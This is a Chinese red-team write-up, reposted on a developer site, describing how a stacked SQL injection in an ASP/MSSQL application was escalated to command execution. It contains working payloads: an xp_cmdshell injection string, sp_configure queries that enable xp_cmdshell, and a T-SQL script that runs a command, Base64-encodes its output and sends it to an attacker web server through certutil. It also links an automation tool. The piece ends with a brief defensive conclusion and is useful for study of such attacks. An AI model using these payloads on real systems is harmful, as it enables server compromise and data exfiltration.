内容简介:从一个MSSQL再到命令执行的思考。红队识别出了一个易受SQL注入攻击的外围资产(ASP/MSSQL)。通过此漏洞有可能在目标服务器上执行命令,但需要特殊的方法绕过命令过滤策略,从而获得命令的输出。0x01、堆叠查询
从一个MSSQL再到命令执行的思考。
背景介绍
红队识别出了一个易受 SQL 注入攻击的外围资产(ASP/MSSQL)。通过此漏洞有可能在目标服务器上执行命令,但需要特殊的方法绕过命令过滤策略,从而获得命令的输出。
应用过程
0x01、堆叠查询
其中所涉及的环境是一个使用 Microsoft SQL Server 作为数据库的 ASP 应用程序。
漏洞的发现
因为在插入单引号(‘)时,页面上会显示ODBC驱动程序缺少结束引号。多次尝试SQL查询或表达式(例如:使用“+”运算符连接),都是失败的,我们认为注入点是 存储过程 中调用的一个参数。为了验证这一点,我们尝试通过注入逗号来引入新的参数,这会因为参数过多而引起错误。
正如 官方文档 所规定的,存储过程的参数必须是常数或变量。因此我们无法使用典型的Union联合注入或盲注。替代方法:使用堆叠注入,默认情况下ASP/MSSQL是支持 堆叠注入 的。
堆叠注入
堆叠注入:在执行一次查询时,通过分号(;)字符分隔,执行两条或更多的SQL语句。因此,我们可以使用基于时间的盲注从数据库中获取到信息:
基于时间的盲注从数据库中获取到信息
但在这种情况下,Web应用程序没有权限查询更多的关键信息。因此我们继续研究别的方法,例如:命令执行。
红队故事0x01:从MSSQL到命令执行 https://www.secpulse.com/archives/75851.html
命令执行
在MSSQL中,有一个常用的存储过程 xp_cmdshell ,它接收一个Windows命令,运行它并将结果以文本行的格式返回。但问题是,在这样的场景中,输出是永远不会被转储给用户,也就是说用户是看不到返回的结果的。因此,要验证命令是否正确执行,可以使用Windows中的默认实用程序: certutil.exe 。
这个命令最初是用来管理证书的,但对红队的工作有很大的帮助,原因有很多:
-
它是由Microsoft默认安装的二进制文件。
-
它允许建立 HTTP/s 连接并且是 proxy-aware(使用系统中配置的代理) 。
-
它允许在Base64或十六进制中编码/解码。
在我们的场景中,我们运用它向我们控制的web服务器发出HTTP/s请求,确认我们的命令是否被执行。
';EXEC xp_cmdshell 'certutil.exe -urlcache -f http://example.com'
服务器上有一个User-Agent请求“CertUtil URL Agent
虽然最常见的是 应用程序的用户没有权限来执行存储过程xp_cmdshell (默认禁用) ,但由于配置错误,我们可以激活它。在这种情况下,使用以下查询来激活:
exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; exec sp_configure 'show advanced options', 0; reconfigure;
或
EXEC sp_configure 'show advanced options', 1 ; reconfigure; EXEC exec sp_configure 'xp_cmdshell', 1 ; reconfigure;
至此, ,我们已经可以看到如何绕过命令过滤策略,获得命令的输出。
0x02、传送数据的加密/解密
此时,我们已经可以执行系统命令,并向我们控制的Wbe服务器发出HTPP/s请求。综合以上两点,我们就可以通过 https://redteam/[informacion_code ] 来获取信息。
在这种情况下,我们选择Bsae64编码而不是十六进制,因为我们需要数据库允许我们以更少的字符存储更多的信息。
我们应该遵循以下几点:
-
1. 声明一个“表”类型的变量 ,让返回的结果保存在存储过程xp_cmdshell中(记住,返回的结果是多行的)。
-
2.将命令的 输出结果 存储到上一个变量中。
-
3.连接“表”的SQL语句,用换行符分割。
-
4.将生成的字符串 编码为Base64 ,并将其保存在一个变量中。
-
5.生成 certutil 命令,将字符串添加到结果中。
-
6.执行
在T-SQL中没有办法直接执行第三步和第四步,但有两个小技巧来解决这个问题:
-
无法使用 MySQL 的
group_concat函数,因此所有字符串的连接都使用 FOR XML 子句。这样,就可以以单个字符串(XML)的形式获取数据。 -
SELECT columna+char(10) as 'text()' FROM tabla FOR XML path('') -- Se concatena un salto de linea al final de cada fila - char(10) -
另一方面,也没有方法直接将字符串转换为Base64,但可以 将Base64转换成二进制数据 。因此,解决方案是将之前的字符串转换成二进制数据:
-
SELECT cast('tarlogic' AS varbinary(max)) FOR XML path(''), BINARY BASE64
实现这一编码,还有其他的选择,比如使用XQuery。
将所有的步骤放在一起就会发现和T-SQL十分的相似:
declare @r varchar(4120),@cmdOutput varchar(4120);
declare @res TABLE(line varchar(max));
insert into @res exec xp_cmdshell 'COMANDO';
set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as 'text()' from @res for xml path('')) as varbinary(max))) for xml path(''),binary base64);
set @r=concat('certutil -urlcache -f https://redteam/',@cmdOutput);
exec xp_cmdshell @r;
在读取包含命令结果的表的过程中,我们需要考虑到 排序 规则。
0x03、自动化
这个过程被我们成功的实现了一遍,所以我们可以让它自动化的执行。为此,开发了一种工具,它为用户提供了一个提示符。然后,它生成必要的负载来运行它,同时部署一个可以接收结果的web服务器。最后,自动解码并显示出来。
自动化工具
该 工具 的代码作为概念测试,可在以下链接中找到: https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py
0x04、结论
我们已经看到,没有对外围资产进行关键的信息处理的结果,就是它让红队能够将其转变为目标的内部网络。因此, 重要的是要考虑到对这种类型漏洞的过滤强化和预警,而不仅仅是对漏洞的定期审计 。
红队故事0x01:从MSSQL到命令执行
https://www.secpulse.com/archives/75851.html
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Building Web Reputation Systems
Randy Farmer、Bryce Glass / Yahoo Press / 2010 / GBP 31.99
What do Amazon's product reviews, eBay's feedback score system, Slashdot's Karma System, and Xbox Live's Achievements have in common? They're all examples of successful reputation systems that enable ......一起来看看 《Building Web Reputation Systems》 这本书的介绍吧!